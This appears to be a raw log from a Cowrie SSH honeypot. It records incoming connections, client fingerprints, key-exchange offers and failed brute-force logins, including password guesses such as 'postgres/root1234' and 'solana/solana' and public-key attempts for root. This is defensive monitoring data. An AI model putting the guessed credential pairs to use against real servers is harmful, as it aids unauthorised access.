{"eventid":"cowrie.login.failed","username":"postgres","password":"root1234","message":"login attempt [postgres/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:21.581483Z","src_ip":"101.47.159.125","session":"882a030efad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:22.825334Z","src_ip":"101.47.159.125","session":"882a030efad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":58774,"dst_ip":"159.203.135.109","dst_port":22,"session":"e51a19f5c0c3","protocol":"ssh","message":"New connection: 107.150.103.12:58774 (159.203.135.109:22) [session: e51a19f5c0c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:32.923961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:32.928895Z","src_ip":"107.150.103.12","session":"e51a19f5c0c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:33.118984Z","src_ip":"107.150.103.12","session":"e51a19f5c0c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"UbuntuPassword","message":"login attempt [ubuntu/UbuntuPassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:33.433026Z","src_ip":"107.150.103.12","session":"e51a19f5c0c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:35.616261Z","src_ip":"107.150.103.12","session":"e51a19f5c0c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":54256,"dst_ip":"159.203.135.109","dst_port":22,"session":"cacf5c641d37","protocol":"ssh","message":"New connection: 14.225.205.58:54256 (159.203.135.109:22) [session: cacf5c641d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:36.490654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:36.496778Z","src_ip":"14.225.205.58","session":"cacf5c641d37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:36.749267Z","src_ip":"14.225.205.58","session":"cacf5c641d37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123test456","message":"login attempt [test/123test456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:37.776762Z","src_ip":"14.225.205.58","session":"cacf5c641d37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":35498,"dst_ip":"159.203.135.109","dst_port":22,"session":"785f5dd8b4ec","protocol":"ssh","message":"New connection: 103.91.246.101:35498 (159.203.135.109:22) [session: 785f5dd8b4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:37.882441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:37.888010Z","src_ip":"103.91.246.101","session":"785f5dd8b4ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:38.144763Z","src_ip":"103.91.246.101","session":"785f5dd8b4ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:39.028379Z","src_ip":"14.225.205.58","session":"cacf5c641d37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qa2ws3ed","message":"login attempt [test/1qa2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:39.174597Z","src_ip":"103.91.246.101","session":"785f5dd8b4ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:18:40.427009Z","src_ip":"103.91.246.101","session":"785f5dd8b4ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ea47b1acd3d","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: 7ea47b1acd3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:06.326269Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:06.442205Z","src_ip":"77.90.185.16","session":"7ea47b1acd3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":46020,"dst_ip":"159.203.135.109","dst_port":22,"session":"635e57e4a49d","protocol":"ssh","message":"New connection: 14.225.205.58:46020 (159.203.135.109:22) [session: 635e57e4a49d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:36.078810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:36.084495Z","src_ip":"14.225.205.58","session":"635e57e4a49d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:36.333188Z","src_ip":"14.225.205.58","session":"635e57e4a49d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":55044,"dst_ip":"10.17.0.5","dst_port":22,"session":"c078ed0c0ca0","protocol":"ssh","message":"New connection: 80.94.92.186:55044 (10.17.0.5:22) [session: c078ed0c0ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:36.886292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:37.145773Z","src_ip":"80.94.92.186","session":"c078ed0c0ca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:37.150884Z","src_ip":"80.94.92.186","session":"c078ed0c0ca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste!@#","message":"login attempt [root/teste!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:37.360118Z","src_ip":"14.225.205.58","session":"635e57e4a49d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:38.257777Z","src_ip":"80.94.92.186","session":"c078ed0c0ca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:38.611751Z","src_ip":"14.225.205.58","session":"635e57e4a49d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":38662,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ad95a02f75b","protocol":"ssh","message":"New connection: 103.91.246.101:38662 (159.203.135.109:22) [session: 2ad95a02f75b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:39.279761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:39.283540Z","src_ip":"103.91.246.101","session":"2ad95a02f75b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:39.500414Z","src_ip":"103.91.246.101","session":"2ad95a02f75b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:39.725136Z","src_ip":"80.94.92.186","session":"c078ed0c0ca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerty12","message":"login attempt [ubuntu/qwerty12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:40.393218Z","src_ip":"103.91.246.101","session":"2ad95a02f75b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:41.611847Z","src_ip":"103.91.246.101","session":"2ad95a02f75b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.223.69.87","src_port":51932,"dst_ip":"10.17.0.5","dst_port":22,"session":"47876b893298","protocol":"ssh","message":"New connection: 91.223.69.87:51932 (10.17.0.5:22) [session: 47876b893298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:43.387273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:43.391951Z","src_ip":"91.223.69.87","session":"47876b893298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:43.506961Z","src_ip":"91.223.69.87","session":"47876b893298","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:22:56:15:e9:5f:ab:75:93:58:00:42:f7:63:f6:52","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMTfQ0RfuKrHh2CH8AmDB/6CPuO/qYeU0bXPiOCSeGC3","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 33:22:56:15:e9:5f:ab:75:93:58:00:42:f7:63:f6:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:44.056516Z","src_ip":"91.223.69.87","session":"47876b893298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:22:56:15:e9:5f:ab:75:93:58:00:42:f7:63:f6:52","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMTfQ0RfuKrHh2CH8AmDB/6CPuO/qYeU0bXPiOCSeGC3","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:44.060227Z","src_ip":"91.223.69.87","session":"47876b893298","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:31:cf:e6:25:1f:b8:5d:86:2a:03:aa:50:05:5c:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv4eHxPW72YX4AUT8oiEDIe9zNSsGgNMzYcd5ncQ8mC9A2gg7+CI9JmaJLPuRQ8CJwo9dYWykIrMZ0k6y5tuoBeC2SUBqvE5fdo8gEhE2VsENYglX0ZsjL8vy/bAQWFYuAMZcWmufmc29N96Qi5aGHiF2Bl4l5TZR8zRc/+ywflAelK8ZgfqiiyfDcMpvRWQAVoLXR/w8F+wey9uNGmNBYrqIzoTUwRzeif7EtvvYnjHNXe4XBS96sY1TZKyQXRJPyt4EmkepguS7zjv5EgB+dRaYi6cruySkXR9WmLAToRJ/kywmXdXq01fLJ1g5xD5fhfQ87a3GwLJPRkrJVSX4XQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:31:cf:e6:25:1f:b8:5d:86:2a:03:aa:50:05:5c:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:44.174602Z","src_ip":"91.223.69.87","session":"47876b893298","protocol":"ssh"}
